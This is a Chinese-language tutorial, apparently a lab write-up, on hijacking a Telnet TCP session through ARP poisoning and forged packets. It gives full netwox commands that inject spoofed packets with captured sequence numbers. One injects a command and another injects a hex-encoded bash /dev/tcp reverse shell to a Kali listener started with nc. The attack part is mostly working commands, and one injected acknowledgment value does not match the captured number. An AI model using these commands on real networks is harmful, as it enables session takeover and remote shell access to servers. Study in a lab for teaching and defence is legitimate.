TCP劫持攻击
攻击原理:
1、攻击者获取client与服务器的TCP会话包;利用ARP毒化或者MAC洪泛攻击。
2、观察服务器给client主机的TCP报文,获取client给server的下一个发送报文信息。
3、攻击者通过构造一个TCP的报文,该报文是client给server的下一个报文。具体参数如下:
二层的源MAC为攻击者的;
三层的源IP是client端的IP地址,目标IP是服务器的IP地址。
四层的参数需要通过查看client与服务器的数据包来获取。
我们知道服务器只能通过三层与四层的信息来判断会话。
思路:用kali伪装client给服务器发送TCP的报文,夺取client与服务器的会话,之后冒充client获取服务器的信任。
前提是需要得知对方的数据包中的序列号,ACK的作用就是用来确认对端的数据我已经收到你的上一个数据包,我现在想要下一个;如果ACK不正确就会形成ACK风暴,通信双方会不停发送ACK来请求正确的数据包。
首先抓取通信双方的数据包,显示的序列号为经过计算的,在序列号中去掉该选项,显示出真实的序列号。
攻击实现:
这里抓取客户端与服务端的数据包如下图所示:
客户端的IP为192.168.67.128,服务端IP为192.168.67.129。这个包为服务端向客户端发送的,其中我们可以看到这个参数:Next sequence number:122619768,Acknowledgment number:491665932。这两个参数在我们伪造数据包时,需要相互调换一下即可,不需要其他操作。
伪造数据包,这里使用的为netwox的40号工具包。具体参数如下:
攻击命令:
sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.67.128 --ip4-dst 192.168.67.129 --tcp-src 33842 --tcp-dst 23 --tcp-seqnum 491665932 --tcp-acknum 122619786 --tcp-ack --tcp-psh --tcp-window 227--tcp-data 6c730d00
--ip4-protocol 协议号;这里需要将源目IP写为通信双方(不是攻击者的)。
即:\r是回车,\n是换行,前者使光标到行首,后者使光标下移一格。通常用的Enter是两个加起来的,即\r\n。/r的十六进制为0d00,在数据的最后加入0d00表示执行。 这里的数据是十六进制的,需要什么给服务器发送什么命令,得先转换为十六进制。
结果
服务器的回包
当真正的用户给服务端发送消息时,会出现TCP spurious retransmission的包,表现为与服务器交互没有反应,失去与服务器的会话连接。
反弹shell注入原理:
实施:
先利用kali监听需要的端口
这里我们监听8888号端口
nc -lp 8888 -vvv
将反弹shell转换为16进制
bash -i>&/dev/tcp/192.168.67.131/8888 0>&1 //这是一个shell脚本
十六进制
62617368202d693e262f6465762f7463702f3139322e3136382e36372e3133312f3838383820303e26310d00
攻击命令
sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.67.128 --ip4-dst 192.168.67.129 --tcp-src 33868 --tcp-dst 23 --tcp-seqnum 995053466 --tcp-acknum 3947091214 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202d693e262f6465762f7463702f3139322e3136382e36372e3133312f3838383820303e26310d00
这里在数据的最后加上0d00,表示执行的意思
攻击成功:这里可以看到我们成功的连接上了服务器。